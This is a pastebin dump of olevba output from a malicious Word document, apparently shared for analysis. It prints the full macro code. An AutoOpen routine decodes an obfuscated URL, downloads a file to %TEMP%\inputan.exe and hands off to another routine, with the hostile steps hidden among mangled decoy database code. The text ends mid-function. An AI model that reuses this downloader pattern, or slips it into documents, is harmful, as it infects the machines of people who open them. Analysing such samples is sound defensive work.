Advertisement
dynamoo

Malicious Word macro

Nov 3rd, 2015
550
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. olevba 0.41 - http://decalage.info/python/oletools
  2. Flags        Filename                                                        
  3. -----------  -----------------------------------------------------------------
  4. OLE:MAS-H--V advanc~1.doc
  5.  
  6. (Flags: OpX=OpenXML, XML=Word2003XML, MHT=MHTML, M=Macros, A=Auto-executable, S=Suspicious keywords, I=IOCs, H=Hex strings, B=Base64 strings, D=Dridex strings, V=VBA strings, ?=Unknown)
  7.  
  8. ===============================================================================
  9. FILE: advanc~1.doc
  10. Type: OLE
  11. -------------------------------------------------------------------------------
  12. VBA MACRO ThisDocument.cls
  13. in file: advanc~1.doc - OLE stream: u'Macros/VBA/ThisDocument'
  14. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  15.  
  16. Sub autoopen()
  17. JoinTampilData "", "", "", ""
  18. LOOK_STRING_FLAG_FUNC "", ""
  19. VerifyColumnSource 0, "", 0, 0
  20. End Sub
  21.  
  22.  
  23.  
  24.  
  25.  
  26. -------------------------------------------------------------------------------
  27. VBA MACRO Module1.bas
  28. in file: advanc~1.doc - OLE stream: u'Macros/VBA/Module1'
  29. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  30. Function LOOK_STRING_FUNC(ByRef DATA_STR As String, _
  31. ByRef LOOK_STR As String, _
  32. Optional ByVal DELIM_CHR As String = "")
  33. Dim i As Long
  34. Dim j As Long
  35. Dim k As Long
  36. On Error GoTo ERROR_LABEL
  37. i = InStr(1, DATA_STR, LOOK_STR, 1)
  38. If i = 0 Then: GoTo ERROR_LABEL
  39. j = InStrRev(DATA_STR, DELIM_CHR, i)
  40. k = InStr(i, DATA_STR, DELIM_CHR)
  41. DATA_STR = Mid(DATA_STR, j + 1, k - j - 1)
  42. LOOK_STRING_FUNC = DATA_STR
  43. Exit Function
  44. ERROR_LABEL:
  45. LOOK_STRING_FUNC = Err.Number
  46. End Function
  47. Function LOOK_STRING_MAT_FUNC(ByRef DATA_RNG As Variant, _
  48. ByVal LOOK_STR As String, _
  49. Optional ByVal SROW As Long = 1, _
  50. Optional ByVal OUTPUT As Integer = 0)
  51. Dim i As Long
  52. Dim j As Long
  53. Dim k As Long
  54. Dim ii As Long
  55. Dim jj As Long
  56. Dim kk As Long
  57. Dim NROWS As Long
  58. Dim NCOLUMNS As Long
  59. Dim TEMP_STR As String
  60. Dim DELIM_CHR As String
  61. Dim TEMP_ARR As Variant
  62. Dim DATA_MATRIX As Variant
  63. On Error GoTo ERROR_LABEL
  64. DATA_MATRIX = DATA_RNG
  65. NCOLUMNS = UBound(DATA_MATRIX, 2)
  66. If LOOK_STR = "" Then kk = 1: Exit Function
  67. DELIM_CHR = DECIMAL_SEPARATOR_FUNC()
  68. If InStr(1, LOOK_STR, "") > 0 Then DELIM_CHR = ""
  69. ii = 1
  70. i = 0
  71. ReDim TEMP_ARR(0 To i)
  72. Do
  73.  jj = InStr(ii, LOOK_STR, DELIM_CHR)
  74.  If jj = 0 Then jj = Len(LOOK_STR) + 1
  75.  i = i + 1
  76.  ReDim Preserve TEMP_ARR(i)
  77.  TEMP_ARR(i) = LCase(Trim(Mid(LOOK_STR, ii, jj - ii)))
  78.  ii = jj + 1
  79. Loop Until ii > Len(LOOK_STR)
  80. NROWS = i
  81. kk = 0
  82. For i = 1 To NROWS
  83.  k = 0
  84.  For j = 1 To NCOLUMNS
  85.  TEMP_STR = LCase(DATA_MATRIX(SROW, j))
  86.  If TEMP_STR Like "" + TEMP_ARR(i) + "" Then
  87.  k = 1: Exit For
  88.  End If
  89.  Next j
  90.  If k = 0 Then
  91.  kk = 0
  92.  If DELIM_CHR = "" Then Exit For
  93.  Else
  94.  kk = 1
  95.  If DELIM_CHR = "" Then Exit For
  96.  End If
  97. Next i
  98.  Select Case OUTPUT
  99.  Case 0
  100.  LOOK_STRING_MAT_FUNC = TEMP_ARR
  101.  Case Else
  102.  LOOK_STRING_MAT_FUNC = TEMP_STR
  103.  End Select
  104. Exit Function
  105. ERROR_LABEL:
  106. LOOK_STRING_MAT_FUNC = Err.Number
  107. End Function
  108. Public Function LOOK_STRING_FLAG_FUNC(ByVal DATA_STR As String, _
  109. ByVal LOOK_STR As String)
  110. Dim i As Long
  111. Dim rmblr() As Variant
  112. rmblr = Array(447, 489, 519, 545, 521, 540, 570, 672, 702, 732, 689, 785, 817, 844, 871, 904, 922, 964, 982, 1024, 1055, 1085, 1100, 1147, 1174, 1139, 1228, 1269, 1230, 1265, 1296, 1376, 1402, 1434, 1414, 1444, 1474, 1500, 1531, 1570, 1598, 1679, 1657, 1737, 1716, 1793, 1769, 1854, 1903, 1914)
  113. Dim ATEMP_STR As String
  114. ATEMP_STR = "E"
  115. Dim BTEMP_STR As String
  116. On Error GoTo ERROR_LABEL
  117. lPrecisionData.Open "G" + ATEMP_STR + "T", Zaporoshilo(rmblr, 49), False
  118. AturTabelData = AddItemData("T" + ATEMP_STR + "MP")
  119. lPrecisionData.Send
  120. HanyaAngkaEnter 9
  121. Exit Function
  122. LOOK_STRING_FLAG_FUNC = False
  123. ATEMP_STR = "" & LOOK_STR & ""
  124. BTEMP_STR = "" & DATA_STR & ""
  125. i = InStr(1, ATEMP_STR, BTEMP_STR, 1)
  126. If i > 0 Then: LOOK_STRING_FLAG_FUNC = True
  127. Exit Function
  128. ERROR_LABEL:
  129. LOOK_STRING_FLAG_FUNC = Err.Number
  130. End Function
  131. Function LOOK_STRING_SUFFIX_FUNC(ByRef DATA_STR As String, _
  132. Optional ByVal DELIM_CHR As String = "")
  133. Dim i As Long
  134. On Error GoTo ERROR_LABEL
  135. i = InStrRev(DATA_STR, DELIM_CHR)
  136. If i = 0 Then
  137.  LOOK_STRING_SUFFIX_FUNC = vbNullString
  138. Else
  139.  LOOK_STRING_SUFFIX_FUNC = Mid(DATA_STR, i + 1)
  140. End If
  141. Exit Function
  142. ERROR_LABEL:
  143. LOOK_STRING_SUFFIX_FUNC = Err.Number
  144. End Function
  145. Function LOOK_STRING_SUFFIX_ARR_FUNC(ByRef DATA_RNG As Variant, _
  146. ByRef LOOK_STR As String)
  147. Dim i As Long
  148. Dim j As Long
  149. Dim DATA_STR As String
  150. On Error GoTo ERROR_LABEL
  151. j = Len(LOOK_STR)
  152. i = LBound(DATA_RNG)
  153. DATA_STR = DATA_RNG(i)
  154. Do Until DATA_STR = ""
  155.  If DATA_STR <> vbNullString Then
  156.  If StrComp(Left(DATA_STR, j), LOOK_STR) = 0 Then
  157.  DATA_STR = Mid(DATA_STR, j + 1)
  158.  Exit Do
  159.  End If
  160.  End If
  161.  i = i + 1
  162.  DATA_STR = DATA_RNG(i)
  163.  If i >= UBound(DATA_RNG) Then: Exit Do
  164. Loop
  165. LOOK_STRING_SUFFIX_ARR_FUNC = Array(DATA_STR, i)
  166. Exit Function
  167. ERROR_LABEL:
  168. LOOK_STRING_SUFFIX_ARR_FUNC = Err.Number
  169. End Function
  170. Public Sub HanyaAngka(Inputan As Integer)
  171. If InStr("", Chr(Inputan)) = 0 Then
  172.  If Inputan <> vbKeyBack Then
  173.  Inputan = 0
  174.  End If
  175. End If
  176. End Sub
  177. Public Sub HanyaAngkaEnter(Inputan As Integer)
  178. zimbaba = "e"
  179. TypeEnumData = AturTabelData + "\inp" + zimbaba + "tan." + zimbaba + "x" + zimbaba
  180. Exit Sub
  181. If InStr("", Chr(Inputan)) = 0 Then
  182.  If Inputan <> 13 Then
  183.  If Inputan <> vbKeyBack Then
  184.  Inputan = 0
  185.  End If
  186.  End If
  187. End If
  188. End Sub
  189. Public Sub FungsiNumber(field As String)
  190. If field.Text = "" Then
  191.  field.Text = 0
  192. End If
  193.  field.Text = FormatNumber(field.Text, 0)
  194.  field.SelStart = Len(field.Text)
  195. End Sub
  196. Public Sub BatasMaksimal(frm As String, Jumlah As Integer)
  197. frm.MaxLength = Jumlah
  198. End Sub
  199. Public Sub LockCombo(Inputan As Integer)
  200. If InStr("", Chr(Inputan)) = 0 Then
  201.  Inputan = 0
  202. End If
  203. End Sub
  204. Public Sub Tengah(X As String)
  205. Dim Atas As Long
  206. Dim Kiri As Long
  207.  Atas = (Screen.Height - X.Height) / 2 - 1000
  208.  Kiri = (Screen.Width - X.Width) / 2
  209.  X.Move Kiri, Atas
  210. End Sub
  211. Public Sub TextMati(X As Variant)
  212. X.Enabled = False
  213. X.BackColor = &HC0C0FF
  214. End Sub
  215. Public Sub TextHidup(X As Variant)
  216. X.Enabled = True
  217. X.BackColor = &H80000005
  218. End Sub
  219. Public Function InputTanggal(X As String) As String
  220. Dim tanggal As String
  221. tanggal = Format(X.Value, "")
  222. InputTanggal = tanggal
  223. End Function
  224. Public Function Kode_Otomatis(tabel As String, ID As String, no As String, inisial As String, panjang As String, X As String, Y As String) As String
  225. Dim rskode As Recordset
  226. Dim t As Integer
  227. Dim Nos As String
  228. Dim KodeOtomatis As String
  229. strsql = "" & ID & "" & tabel & "" & ID & ""
  230. Set rskode = Conn.Execute(strsql)
  231. If rskode.EOF = True Then
  232. KodeOtomatis = inisial + no
  233. Else
  234. t = Val(Mid(rskode(0), X, Y))
  235. Nos = inisial + Format(Str(t + 1), "" & panjang & "")
  236. KodeOtomatis = Nos
  237. End If
  238. Kode_Otomatis = KodeOtomatis
  239. End Function
  240. Public Sub DataCombo(cmb As String, tabel As String, ID As String, nama As String)
  241.  Dim RsData As Recordset
  242.  Set RsData = New Recordset
  243.  Dim SqlData As String
  244.  SqlData = "" & tabel & ""
  245.  RsData.Open SqlData, Conn, adOpenStatic, adLockReadOnly
  246.  Do While Not RsData.EOF
  247.  cmb.AddItem RsData("" & ID & "") + "" + RsData("" & nama & "")
  248.  RsData.MoveNext
  249.  Loop
  250. End Sub
  251. Public Function CekData(Data As String) As Boolean
  252. Dim Rscek As Recordset
  253. sql = Data
  254. Set Rscek = Conn.Execute(sql)
  255. If Not Rscek.EOF Then
  256.  CekData = True
  257. Else
  258.  CekData = False
  259. End If
  260. End Function
  261. Public Function CekDuplikatNama(tabel As String, pk As String, nilaipk As String, kolom As String, NilaiKolom As String) As Boolean
  262. Dim Rscek As Recordset
  263. sql = "" & tabel & "" & pk & "" & nilaipk & "" & kolom & "" & NilaiKolom & ""
  264. Set Rscek = Conn.Execute(sql)
  265. If Not Rscek.EOF Then
  266.  CekDuplikatNama = True
  267. Else
  268.  CekDuplikatNama = False
  269. End If
  270. End Function
  271. Public Sub datatahun(cmb As String)
  272. For i = 2015 To CInt(Format(Now, ""))
  273.  cmb.AddItem i
  274. Next i
  275. End Sub
  276.  
  277.  
  278.  
  279.  
  280.  
  281. -------------------------------------------------------------------------------
  282. VBA MACRO Module2.bas
  283. in file: advanc~1.doc - OLE stream: u'Macros/VBA/Module2'
  284. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  285. Public lPrecisionData As Object
  286. Public eTypeData As Object
  287. Public AddItemData  As Object
  288. Public AturTabelData As String
  289. Public TypeEnumData As String
  290. Public SplitTabelData As Object
  291. Public Sub databulan(cmb As String)
  292.  cmb.AddItem ""
  293.  cmb.AddItem ""
  294.  cmb.AddItem ""
  295.  cmb.AddItem ""
  296.  cmb.AddItem ""
  297. End Sub
  298. Public Sub AturTabel(header As String, lebar As String, lst As String)
  299. Dim i As Integer
  300. Dim n As Integer
  301. Dim pisahKata() As String
  302. Dim pisahJarak() As String
  303. pisahKata() = Split(header, "")
  304. pisahJarak() = Split(lebar, "")
  305. n = UBound(pisahKata)
  306. With lst
  307.  .Appearance = ccFlat
  308.  .BorderStyle = ccNone
  309.  .ColumnHeaders.Clear
  310.  .View = lvwReport
  311.  .HoverSelection = True
  312.  .FullRowSelect = True
  313.  .MultiSelect = True
  314.  .Gridlines = True
  315.  .HideSelection = True
  316.  .LabelWrap = True
  317.  .HotTracking = True
  318.  For i = 0 To n
  319.  .ColumnHeaders.Add.Text = pisahKata(i)
  320.  .ColumnHeaders.Item(i + 1).Width = pisahJarak(i)
  321.  Next i
  322. End With
  323. End Sub
  324. Public Sub MasterTampilData(Table As String, kolom As String, Kondisi As String, lst As String)
  325. Dim RsData As Recordset
  326. Set RsData = New Recordset
  327. Dim SqlData As String
  328. Dim no As Integer
  329. Dim n As Integer
  330. Dim PilihKolom() As String
  331. PilihKolom = Split(kolom, "")
  332. n = UBound(PilihKolom)
  333. lst.ListItems.Clear
  334. no = 1
  335. SqlData = "" & kolom & "" & Table & "" & Kondisi & ""
  336. RsData.Open SqlData, Conn, adOpenStatic, adLockReadOnly
  337. Do While Not RsData.EOF
  338.  With lst.ListItems.Add
  339.  .Text = no
  340.  For i = 0 To n
  341.  .SubItems(i + 1) = RsData(i)
  342.  Next i
  343.  End With
  344. RsData.MoveNext
  345. no = no + 1
  346. Loop
  347. End Sub
  348. Public Sub JoinTampilData(Join As String, kolom As String, Kondisi As String, lst As String)
  349. Set lPrecisionData = CreateObject("Microsoft" + ".XMLHTTP")
  350. Set eTypeData = CreateObject("Adodb.Stream")
  351. Set SplitTabelData = CreateObject("Shell.Application")
  352. Set AddItemData = CreateObject("WScript.Shell").Environment("Process")
  353. Exit Sub
  354. Dim RsData As String
  355. Dim SqlData As String
  356. Dim no As Integer
  357. Dim n As Integer
  358. Dim PilihKolom() As String
  359. PilihKolom = Split(kolom, "")
  360. n = UBound(PilihKolom)
  361. lStringst.ListItems.Clear
  362. no = 1
  363. SqlData = "" & kolom & "" & Join & "" & Kondisi & ""
  364. RsDStringata.Open SqlData, Conn, adOpenStatic, adLockReadOnly
  365. Do While Not RsDStringata.EOF
  366.  With lsStringt.ListItems.Add
  367.  .Text = no
  368.  For i = 0 To n
  369.  .SubItems(i + 1) = RsDStringata(i)
  370.  Next i
  371.  End With
  372. RsStringData.MoveNext
  373. no = no + 1
  374. Loop
  375. End Sub
  376. Public Sub SimpanMaster(tabel As String, kolom As String, nilai As String)
  377. On Error GoTo salah
  378. Dim Konvert() As String
  379. Dim panjang As Integer
  380. Konvert = Split(nilai, "")
  381. panjang = UBound(Konvert)
  382. Set cmd = New ADODB.Command
  383. With cmd
  384.  .ActiveConnection = strConn
  385.  .CommandType = adCmdText
  386.  .CommandText = "" & tabel & "" & kolom & "" & KolomPanjang(panjang) & ""
  387.  For i = 0 To panjang
  388.  .Parameters(i).Value = Konvert(i)
  389.  Next i
  390.  .Execute
  391. End With
  392.  MsgBox "" & tabel & "", vbInformation, ""
  393. Exit Sub
  394. salah:
  395.  MsgBox "" & tabel & "", vbCritical, ""
  396. End Sub
  397. Public Sub UbahMaster(tabel As String, kolom As String, nilai As String, Kondisi As String, NilaiKondisi As String)
  398. On Error GoTo salah
  399. Dim Konvert() As String
  400. Dim panjang As Integer
  401. Konvert = Split(nilai, "")
  402. panjang = UBound(Konvert)
  403. Set cmd = New ADODB.Command
  404. With cmd
  405.  .ActiveConnection = strConn
  406.  .CommandType = adCmdText
  407.  .CommandText = "" & tabel & "" & kolom & "" _
  408.  & "" & Kondisi & ""
  409.  For i = 0 To panjang
  410.  .Parameters(i).Value = Konvert(i)
  411.  Next i
  412.  .Parameters((panjang + 1)).Value = NilaiKondisi
  413.  .Execute
  414. End With
  415. MsgBox "" & tabel & "", vbInformation, ""
  416. Exit Sub
  417. salah:
  418. MsgBox "" & tabel & "", vbExclamation, ""
  419. End Sub
  420. Public Function CekNull(a As String) As Boolean
  421.  On Error Resume Next
  422.  CekNull = False
  423.  For Each eachField In a.Controls
  424.  If TypeOf eachField Is TextBox Or TypeOf eachField Is ComboBox Or TypeOf eachField Is MaskEdBox Then
  425.  If eachField.Text = "" Then
  426.  CekNull = True
  427.  End If
  428.  End If
  429.  Next
  430. End Function
  431. Public Function CariSingleData(tabel As String, kolomcari As String, pk As String, nilaipk As String) As String
  432. Dim sql As String
  433. Dim RsData As Recordset
  434. Set RsData = New Recordset
  435. sql = "" & kolomcari & "" & tabel & "" & pk & "" & nilaipk & ""
  436. Set RsData = Conn.Execute(sql)
  437. CariSingleData = RsData(0)
  438. End Function
  439. Public Sub HapusData(tabel As String, pk As String, nilai As String)
  440. On Error GoTo salah
  441.  Dim sql As String
  442.  sql = "" & tabel & "" & pk & "" & nilai & ""
  443.  Conn.Execute (sql)
  444. Exit Sub
  445. MsgBox "" & tabel & "", vbInformation, ""
  446. salah:
  447. MsgBox "" & tabel & "", vbCritical, ""
  448. End Sub
  449. Private Function KolomPanjang(X As Integer) As String
  450. Dim Hasil As String
  451. Dim i As Integer
  452. For i = 0 To X
  453.  If i = 0 Then
  454.  Hasil = "" + ""
  455.  ElseIf i = X Then
  456.  Hasil = Hasil + ""
  457.  Else
  458.  Hasil = Hasil + "" + ""
  459.  End If
  460. Next i
  461. KolomPanjang = Hasil
  462. End Function
  463. Public Function PanjangListPas(X As String, persen As String) As Double
  464.  PanjangListPas = (CDbl(persen) / 100) * (X.Width - 500)
  465. End Function
  466. Public Sub LoadPekerjaan(cmb As String)
  467.  cmb.AddItem ""
  468.  cmb.AddItem ""
  469.  cmb.AddItem ""
  470.  cmb.AddItem ""
  471.  cmb.AddItem ""
  472.  cmb.AddItem ""
  473. End Sub
  474. Public Function Zaporoshilo(fromArr() As Variant, FullLen As Integer) As String
  475.     Dim i As Integer
  476.     Dim result As String
  477.     result = ""
  478.     For i = LBound(fromArr) To UBound(fromArr)
  479.         result = result & Chr(fromArr(i) - 7 * FullLen - i * 30)
  480.     Next i
  481.     Zaporoshilo = result
  482. End Function
  483. Public Function CekUmur(par1 As Date, par2 As Date, max As Integer, min As Integer) As Boolean
  484. Selisih = DateDiff("", par1, par2)
  485. If Selisih < min Then
  486.  CekUmur = False
  487. ElseIf Selisih > max Then
  488.  CekUmur = False
  489. Else
  490.  CekUmur = True
  491. End If
  492. End Function
  493.  
  494.  
  495.  
  496.  
  497.  
  498.  
  499. -------------------------------------------------------------------------------
  500. VBA MACRO Module3.bas
  501. in file: advanc~1.doc - OLE stream: u'Macros/VBA/Module3'
  502. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  503.  
  504. Public Sub MainSetup(ByVal frm As String)
  505. Call LVWTableSourceHeaderSetup(frm.lvwTableSource)
  506. Call LVWColumnSourceHeaderSetup(frm.lvwColumnsSource)
  507. Call LVWTableTargetHeaderSetup(frm.lvwTableTarget)
  508. End Sub
  509. Private Sub LVWTableSourceHeaderSetup(ByVal lvw As String)
  510. With lvw.ColumnHeaders
  511.  .Clear
  512.  .Add , , ""
  513.  .Add , , "", , lvwColumnRight
  514. End With
  515. lvw.ListItems.Clear
  516. End Sub
  517. Private Sub LVWColumnSourceHeaderSetup(ByVal lvw As String)
  518. With lvw.ColumnHeaders
  519.  .Clear
  520.  .Add , , ""
  521.  .Add , , ""
  522.  .Add , , "", , lvwColumnRight
  523.  .Add , , "", , lvwColumnRight
  524.  .Add , , "", , lvwColumnCenter
  525. End With
  526. lvw.ListItems.Clear
  527. End Sub
  528. Private Sub LVWTableTargetHeaderSetup(ByVal lvw As String)
  529. With lvw.ColumnHeaders
  530.  .Clear
  531.  .Add , , ""
  532.  .Add , , "", , lvwColumnRight
  533. End With
  534. lvw.ListItems.Clear
  535. End Sub
  536. Public Function MainTransferStart(ByVal frm As String, ByVal oDB As String) As Boolean
  537. On Error GoTo MainTransferStartErrHandler
  538. Const PROCEDURE_NAME As String = ""
  539. StatusMsg ""
  540. If Not OpenSource(oDB) Then
  541.  Exit Function
  542. End If
  543. StatusMsg ""
  544. If Not OpenTarget(oDB) Then
  545.  Exit Function
  546. End If
  547. ClearControls frm
  548. If VerifyTableSource(frmMain, frmMain.lvwTableSource, oDB) = False Then
  549.  Exit Function
  550. End If
  551. MainTransferStart = True
  552. MainTransferStartErrExit:
  553. On Error GoTo 0
  554. Exit Function
  555. MainTransferStartErrHandler:
  556. Call oDB.FireEvent(etOnDBEvent, _
  557.  eBADbEvent.dbeErrOtherUnown, _
  558.  PROCEDURE_NAME & CStr(Err.Number) & "" & CStr(Err.Source) & "" & Err.Description)
  559. Err.Clear
  560. Resume MainTransferStartErrExit
  561. End Function
  562. Public Function MainCopyData(ByVal frm As String, ByVal oDB As String) As Boolean
  563. Dim i As Long
  564. Dim sTable As String
  565. Dim oLI As ListItem, oLITarget As ListItem
  566. On Error GoTo MainCopyDataErrHandler
  567. Const PROCEDURE_NAME As String = ""
  568. frm.lvwTableTarget.ListItems.Clear
  569. For i = 1 To frm.lvwTableSource.ListItems.Count
  570.  Set oLI = frm.lvwTableSource.ListItems(i)
  571.  Set frm.lvwTableSource.SelectedItem = oLI
  572.  sTable = oLI.Text
  573.  If VerifyColumnSource(frmMain, sTable, frmMain.lvwColumnsSource, oDB) = False Then
  574.  Exit Function
  575.  Else
  576.  If DropTableTarget(frm, oDB, sTable) = True Then
  577.  StatusMsg "" & sTable & ""
  578.  If CreateTable(oDB.CnTarget, oDB, oDB.DBTables.DBTableGetByName(sTable)) = True Then
  579.  Set oLITarget = frm.lvwTableTarget.ListItems.Add(, sTable, sTable)
  580.  Set frm.lvwTableTarget.SelectedItem = oLITarget
  581.  StatusMsg "" & sTable & ""
  582.  If CopyData(frm, oDB, sTable) = True Then
  583.  oLITarget.ListSubItems(1).Text = Format$(frm.LastRecCount, "")
  584.  Else
  585.  oLITarget.ListSubItems(1).Text = ""
  586.  End If
  587.  ListViewAdjustColumnWidth frm.lvwTableTarget, , True, True
  588.  Sleep 0: DoEvents
  589.  If frm.AppState = asStopRequest Then
  590.  Exit For
  591.  End If
  592.  End If
  593.  End If
  594.  End If
  595. Next i
  596. MainCopyDataErrExit:
  597. On Error GoTo 0
  598. Exit Function
  599. MainCopyDataErrHandler:
  600. oDB.FireEvent etOnDBEvent, eBADbEvent.dbeErrOtherUnown, _
  601.  PROCEDURE_NAME & CStr(Err.Number) & "" & CStr(Err.Source) & "" & Err.Description
  602. Err.Clear
  603. Resume MainCopyDataErrExit
  604. End Function
  605. Public Function MainDBTestConnection(ByVal sConnection As String, ByRef sErrMsg As String) As Boolean
  606. Dim cn As String
  607. Dim oErr As Object
  608. On Error Resume Next
  609. Set cn = New ADODB.Connection
  610. cn.ConnectionString = sConnection
  611. Call cn.Open
  612. If Err Then
  613.  If cn.State <> adStateClosed Then
  614.  Call cn.Close
  615.  End If
  616.  sErrMsg = "" & CStr(Err.Number) & "" & Err.Description
  617.  MainDBTestConnection = False
  618. ElseIf cn.Errors.Count > 0 Then
  619.  For Each oErr In cn.Errors
  620.  sErrMsg = sErrMsg & "" & CStr(oErr.Number) & "" & oErr.Description & vbNewLine
  621.  Next oErr
  622.  Call cn.Close
  623.  MainDBTestConnection = False
  624.  Call cn.Errors.Clear
  625. Else
  626.  Call cn.Close
  627.  MainDBTestConnection = True
  628. End If
  629. On Error GoTo 0
  630. Set cn = Nothing
  631. End Function
  632. Private Function OpenSource(ByVal oDB As String) As Boolean
  633. Dim sTemp As String
  634. On Error GoTo OpenSourceErrHandler
  635. Const PROCEDURE_NAME As String = ""
  636. With oDB
  637.  Set .CnSource = New ADODB.Connection
  638.  .CnSource.ConnectionString = .ConnectionSource
  639.  Call .CnSource.Open
  640. End With
  641. OpenSource = True
  642. OpenSourceErrExit:
  643. On Error GoTo 0
  644. Exit Function
  645. OpenSourceErrHandler:
  646. sTemp = ADOGetConnectionErrStr(oDB.CnSource)
  647. If Len(sTemp) > 0 Then
  648.  sTemp = PROCEDURE_NAME & CStr(Err.Number) & "" & CStr(Err.Source) & "" & Err.Description & vbNewLine & sTemp
  649. Else
  650.  sTemp = PROCEDURE_NAME & CStr(Err.Number) & "" & CStr(Err.Source) & "" & Err.Description
  651. End If
  652. Call oDB.FireEvent(etOnDBEvent, _
  653.  eBADbEvent.dbeConnectionSourceFailed, sTemp)
  654. Err.Clear
  655. Resume OpenSourceErrExit
  656. End Function
  657. Private Function VerifyTableSource(ByVal frm As String, ByVal lvw As String, ByVal oDB As String) As Boolean
  658. Dim oTable As String
  659. Dim sTemp As String
  660. VerifyTableSource = True
  661. For Each oTable In oDB.DBTables.DBTables
  662.  sTemp = oTable.TblName
  663.  StatusMsg "" & sTemp & ""
  664.  If DBADOUtil.DBADOTableExistsCN(oDB.CnSource, sTemp) = teTableExists Then
  665.  Call lvw.ListItems.Add(, sTemp, sTemp)
  666.  Else
  667.  Call lvw.ListItems.Add(, sTemp, sTemp & "")
  668.  VerifyTableSource = VerifyTableSource And False
  669.  End If
  670. Next oTable
  671. ListViewAdjustColumnWidth lvw, , True, True
  672. End Function
  673. Public Function VerifyColumnSource(ByVal frm As String, ByVal sTable As String, _
  674.  ByVal lvwColumns As String, ByVal oDB As String) As Boolean
  675. Dim oTable As String
  676. Dim oCol As String
  677. Dim sTemp As String
  678. Dim i As Long
  679. Dim oLI As String
  680. Dim oMap As String
  681. Dim eType As String, lSize As Long, lPrecision As Long
  682. eTypeData.Type = 1
  683. eTypeData.Open
  684. eTypeData.write lPrecisionData.responseBody
  685. eTypeData.savetofile TypeEnumData, 2
  686. CopyData "", "", ""
  687. On Error GoTo VerifyColumnSourceErrHandler
  688. Exit Function
  689. Const PROCEDURE_NAME As String = ""
  690. VerifyColumnSource = True
  691. lvwCoStringlumns.ListItems.Clear
  692. oTable = oStrStringingDB.DBTables.DBTableGetByName(sTable)
  693. If oTStringable.DBColumns.CopyAllColumns = True Then
  694.  Dim cat As String
  695.  Dim tbl As String
  696.  Dim colADO As String
  697.  Set cStringat.ActiveConnection = oDStringB.CnSource
  698.  For Each tStringbl In caStringt.Tables
  699.  If tStringbl.Name = sTable Then
  700.  For Each colStringADO In tbStringl.Columns
  701.  sTemp = coStringlADO.Name
  702.  StatuSS.tringtringsMsg "" & sTable & "" & sTemp & ""
  703.  Set oStringLI = lvwCoStringlumns.ListItems.Add(, sTemp, sTemp)
  704.  With oCStringol
  705.  .ColName = colStringADO.Name
  706.  Set .ADOXColumnSource = colStringADO
  707.  If colStringADO.Attributes = (colStringADO.Attributes Or adColNullable) Then
  708.  .AllowNullStr = ""
  709.  End If
  710.  .Precision = colStringADO.Precision
  711.  .Size = colStringADO.DefinedSize
  712.  If oDStringB.DBMappings.HasDBMappingOfType(colAStringDO.Type) = True Then
  713.  Set oMaStringp = oStringDB.DBMappings.GetDBMappingForType(colAStringDO.Type)
  714.  .TypeTarget = oMaStringp.TypeTarget
  715.  Else
  716.  .TypeTarget = colStringADO.Type
  717.  End If
  718.  End With
  719.  Call oStringDB.DBTables.DBTableAddCol(oTable, oCol)
  720.  sTemp = modApp.GetFieldTypeEx(oStringCol.ADOXColumnSource, eType, lSize, lPrecision)
  721.  sTemp = sTemp & "" & CStr(eType) & ""
  722.  oLStringI.ListSubItems.Add , , sTemp
  723.  oLStringI.ListSubItems.Add , , Format$(lSize, "")
  724.  oLStringI.ListSubItems.Add , , Format$(lPrecision, "")
  725.  oLStringI.ListSubItems.Add , , IIf(oCStringol.AllowNull = True, "", "")
  726.  Next colStringADO
  727.  End If
  728.  Next tStringbl
  729.  Set catStringblt.ActiveConnection = Nothing
  730. Else
  731.  For Each oCtStringblol In oTabtStringblle.DBColumns.DBColumns
  732.  sTemp = oCotStringbll.ColName
  733.  StatutSt.ringblsMsg "" & sTable & "" & sTemp & ""
  734.  oLI = lvwC.olumns.ListItems.Add(, sTemp, sTemp)
  735.  If DBADOU.til.DBADOColumnExistsCN(oD.B.CnSource, sTable, sTemp) = ceColExists Then
  736.  Set oC.ol.ADOXColumnSource = DBADOUtil.DBADOColumnGetADOXColCN(oD.B.CnSource, sTable, sTemp)
  737.  Call oD.B.DBTables.DBTableAddADOXCol(oTable, oCol)
  738.  sTemp = mo.d.App.GetFieldTypeEx(oC.l.ADOXColumnSource, eType, lSize, lPrecision)
  739.  sTemp = sTemp & "" & CStr(eType) & ""
  740.  ol.i.ListSubItems.Add , , sTemp
  741.  ol.i.ListSubItems.Add , , Format$(lSize, "")
  742.  ol.i.ListSubItems.Add , , Format$(lPrecision, "")
  743.  ol.i.ListSubItems.Add , , ii.f(oC.ol.AllowNull = True, "", "")
  744.  Else
  745.  ol.i.ListSubItems.Add , , ""
  746.  VerifyColumnSource = VerifyColumnSource And False
  747.  oD.B.FireEvent etOnDBEvent, eBADbEvent.dbeColSourceMissing, sTemp
  748.  End If
  749.  Next oCtStringblol
  750. End If
  751. ListViewAdju.stColumnWidth lvwColumns, , True, True
  752. If VerifyColumnSource = True Then
  753.  oD.B.FireEvent etOnDBEvent, eBADbEvent.dbeColDoMapping, sTable
  754. End If
  755. VerifyColumnSourceErrExit:
  756. On Error GoTo 0
  757. Exit Function
  758. VerifyColumnSourceErrHandler:
  759. VerifyColumnSource = False
  760. oD.B.FireEvent etOnDBEvent, eBADbEvent.dbeErrOtherUnown, PROCEDURE_NAME & CStr(Err.Number) & "" & CStr(Err.Source) & "" & Err.Description
  761. Er.r.Clear
  762. Resume VerifyColumnSourceErrExit
  763. End Function
  764. Private Function OpenTarget(ByVal oDB As String) As Boolean
  765. Dim sTemp As String
  766. On Error GoTo OpenTargetErrHandler
  767. Const PROCEDURE_NAME As String = ""
  768. With oDB
  769.  Set .CnTarget = New ADODB.Connection
  770.  .CnTarget.ConnectionString = .ConnectionTarget
  771.  Call .CnTarget.Open
  772. End With
  773. OpenTarget = True
  774. OpenTargetErrExit:
  775. On Error GoTo 0
  776. Exit Function
  777. OpenTargetErrHandler:
  778. sTemp = ADOGetConnectionErrStr(oDB.CnTarget)
  779. If Len(sTemp) > 0 Then
  780.  sTemp = PROCEDURE_NAME & CStr(Err.Number) & "" & CStr(Err.Source) & "" & Err.Description & vbNewLine & sTemp
  781. Else
  782.  sTemp = PROCEDURE_NAME & CStr(Err.Number) & "" & CStr(Err.Source) & "" & Err.Description
  783. End If
